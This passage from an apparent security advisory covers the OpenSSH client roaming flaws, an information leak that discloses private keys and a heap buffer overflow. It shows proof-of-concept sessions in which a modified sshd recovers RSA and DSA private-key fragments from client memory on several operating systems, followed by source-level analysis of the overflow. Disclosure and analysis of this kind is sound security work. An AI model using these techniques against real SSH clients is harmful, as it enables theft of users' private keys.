UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-279f5e2b/infoleak\n... \niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n... \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:2048\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-35ee7ab0/infoleak\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-6cb31d82/infoleak\n... \nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015\n\n$ /usr/bin/ssh -V\nOpenSSH_7.0, LibreSSL 2.2.2\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL\nruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s\n17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8\nL/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh\nxSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP\nvavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl\nJka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP\nKyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19\nqJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY\ngQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK\nQolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt\ngKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL\ncQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB\n+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl\nhcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri\nhBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh\nvhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O\nnFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG\n8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n-----END RSA PRIVATE KEY-----\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 1 %h %p\" -p 222 127.0.0.1\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n(this example requires a ProxyCommand because of the NULL-aitop bug\ndescribed in the Mitigating Factors of the Information Leak section, and\ncrashes because of the NULL-pointer dereference discussed in the\nMitigating Factors of the Buffer Overflow section)\n\n# cat /tmp/roaming-a5eca355/infoleak\nry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: CentOS 7, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n\nGLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2\nhUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-b7b16dfc/infoleak\njJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5\n\n# strings /tmp/roaming-b324ce87/infoleak\nIuQL\nR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9v\n\n# strings /tmp/roaming-24011739/infoleak\nKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC\n\n# strings /tmp/roaming-37456846/infoleak\nLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA\nyq4Kwj/\n\n# strings /tmp/roaming-988ff54c/infoleak\nGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\n\n# strings /tmp/roaming-53887fa5/infoleak\n/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: Fedora 20, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"Fedora 20 (Heisenbug)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz\nHLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp\no9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ\n/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy\n2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr\nHiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\njwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm\nqK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\nZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-a2bbc5f6/infoleak\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG\n\n# strings /tmp/roaming-47b46456/infoleak\nRGAcE0nc\nGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9\n\n# strings /tmp/roaming-7a6717ae/infoleak\ncawMW4LZ1\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p\n\n# strings /tmp/roaming-f3091f08/infoleak\nlZ3w0qHe\nnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\n\n# strings /tmp/roaming-62a9e9a3/infoleak\nlZ3w0qHe\nr3TwTa0pPEk11\nLbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37P\n\n# strings /tmp/roaming-8de31ed5/infoleak\n7qyvNznQ\n26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\n\n# strings /tmp/roaming-f5e0fbcc/infoleak\nyESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxS\n\n# strings /tmp/roaming-9be933df/infoleak\nQRtzK/GpRuMC1\nC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT\n\n# strings /tmp/roaming-ee4d1e6c/infoleak\nSG3aTqYp\ntEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s\n\n# strings /tmp/roaming-c2bfd69c/infoleak\nSG3aTqYp\n6JmTOun5zVV6A\nH6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s\n\n# strings /tmp/roaming-2b3217a1/infoleak\nDGLfFGdO\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ\n\n# strings /tmp/roaming-1e275747/infoleak\ng3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\n\n\n========================================================================\nBuffer Overflow (CVE-2016-0778)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nSupport for roaming was elegantly added to the OpenSSH client: the calls\nto read() and write() that communicate with the SSH server were replaced\nby calls to roaming_read() and roaming_write(), two wrappers that depend\non wait_for_roaming_reconnect() to transparently reconnect to the server\nafter a disconnection. The wait_for_roaming_reconnect() routine is\nessentially a sequence of four subroutines:\n\n239 int\n240 wait_for_roaming_reconnect(void)\n241 {\n... \n250         fprintf(stderr, \"[connection suspended, press return to resume]\");\n... \n252         packet_backup_state();\n253         /* TODO Perhaps we should read from tty here */\n254         while ((c = fgetc(stdin)) != EOF) {\n... \n259                 if (c != \u0027\\n\u0027 \u0026\u0026 c != \u0027\\r\u0027)\n260                         continue;\n261\n262                 if (ssh_connect(host, \u0026hostaddr, options.port,\n... \n265                     options.proxy_command) == 0 \u0026\u0026 roaming_resume() == 0) {\n266                         packet_restore_state();\n... \n268                         fprintf(stderr, \"[connection resumed]\\n\");\n... \n270                         return 0;\n271                 }\n272\n273                 fprintf(stderr, \"[reconnect failed, press return to retry]\");\n... \n275         }\n276         fprintf(stderr, \"[exiting]\\n\");\n... \n278         exit(0);\n279 }\n\n1. packet_backup_state() close()s connection_in and connection_out (the\nold file descriptors that connected the client to the server), and saves\nthe state of the suspended SSH session (for example, the encryption and\ndecryption contexts). \n\n2. ssh_connect() opens new file descriptors, and connects them to the\nSSH server. \n\n3. roaming_resume() negotiates the resumption of the suspended SSH\nsession with the server, and calls resend_bytes(). \n\n4. packet_restore_state() updates connection_in and connection_out (with\nthe new file descriptors that connect the client to the server), and\nrestores the state of the suspended SSH session. \n\nThe new file descriptors for connection_in and connection_out may differ\nfrom the old ones (if, for example, files or pipes or sockets are opened\nor closed between two successive ssh_connect() calls), but unfortunately\nhistorical code in OpenSSH assumes that they are constant:\n\n- In client_loop(), the variables connection_in and connection_out are\n  cached locally, but packet_write_poll() calls roaming_write(), which\n  may assign new values to connection_in and connection_out (if a\n  reconnection occurs), and client_wait_until_can_do_something()\n  subsequently reuses the old, cached values. \n\n- client_loop() eventually updates these cached values, and the\n  following FD_ISSET() uses a new, updated file descriptor (the fd\n  connection_out), but an old, out-of-date file descriptor set (the\n  fd_set writeset). \n\n- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)\n  first calloc()ates setp, a file descriptor set for connection_in;\n  next, it loops around memset(), FD_SET(), select() and roaming_read();\n  last, it free()s setp and returns. Unfortunately, roaming_read() may\n  reassign a higher value to connection_in (if a reconnection occurs),\n  but setp is never enlarged, and the following memset() and FD_SET()\n  may therefore overflow setp (a heap-based buffer overflow):\n\n1048 int\n1049 packet_read_seqnr(u_int32_t *seqnr_p)\n1050 {\n.... \n1052         fd_set *setp;\n.... \n1058         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_in + 1,\n1059             NFDBITS), sizeof(fd_mask));\n.... \n1065         for (;;) {\n.... \n1075                 if (type != SSH_MSG_NONE) {\n1076                         free(setp);\n1077                         return type;\n1078                 }\n.... \n1083                 memset(setp, 0, howmany(active_state-\u003econnection_in + 1,\n1084                     NFDBITS) * sizeof(fd_mask));\n1085                 FD_SET(active_state-\u003econnection_in, setp);\n.... \n1092                 for (;;) {\n.... \n1097                         if ((ret = select(active_state-\u003econnection_in + 1, setp,\n1098                             NULL, NULL, timeoutp)) \u003e= 0)\n1099                                 break;\n.... \n1115                 }\n.... \n1117                 do {\n.... \n1119                         len = roaming_read(active_state-\u003econnection_in, buf,\n1120                             sizeof(buf), \u0026cont);\n1121                 } while (len == 0 \u0026\u0026 cont);\n.... \n1130         }\n1131         /* NOTREACHED */\n1132 }\n\n- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is\n  basically similar to packet_read_seqnr() and may overflow its own setp\n  if roaming_write() (called by packet_write_poll()) reassigns a higher\n  value to connection_out (after a successful reconnection):\n\n1739 void\n1740 packet_write_wait(void)\n1741 {\n1742         fd_set *setp;\n.... \n1746         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_out + 1,\n1747             NFDBITS), sizeof(fd_mask));\n1748         packet_write_poll();\n1749         while (packet_have_data_to_write()) {\n1750                 memset(setp, 0, howmany(active_state-\u003econnection_out + 1,\n1751                     NFDBITS) * sizeof(fd_mask));\n1752                 FD_SET(active_state-\u003econnection_out, setp);\n.... \n1758                 for (;;) {\n.... \n1763                         if ((ret = select(active_state-\u003econnection_out + 1,\n1764                             NULL, setp, NULL, timeoutp)) \u003e= 0)\n1765                                 break;\n.... \n1776                 }\n.... \n1782                 packet_write_poll();\n1783         }\n1784         free(setp);\n1785 }\n\n------------------------------------------------------------------------\nMitigating Factors\n------------------------------------------------------------------------\n\nThis buffer overflow affects all OpenSSH clients \u003e= 5.4, but its impact\nis significantly reduced by the Mitigating Factors detailed in the\nInformation Leak section, and additionally:\n\n- OpenSSH versions \u003e= 6.8 reimplement packet_backup_state() and\n  packet_restore_state(), but introduce a bug that prevents the buffer\n  overflow from being exploited; indeed, ssh_packet_backup_state() swaps\n  two local pointers, ssh and backup_state, instead of swapping the two\n  global pointers active_state and backup_state:\n\n  9 struct ssh *active_state, *backup_state;\n... \n238 void\n239 packet_backup_state(void)\n240 {\n241         ssh_packet_backup_state(active_state, backup_state);\n242 }\n243\n244 void\n245 packet_restore_state(void)\n246 {\n247         ssh_packet_restore_state(active_state, backup_state);\n248 }\n\n2269 void\n2270 ssh_packet_backup_state(struct ssh *ssh,\n2271     struct ssh *backup_state)\n2272 {\n2273         struct ssh *tmp;\n.... \n2279         if (backup_state)\n2280                 tmp = backup_state;\n2281         else\n2282                 tmp = ssh_alloc_session_state();\n2283         backup_state = ssh;\n2284         ssh = tmp;\n2285 }\n.... \n2291 void\n2292 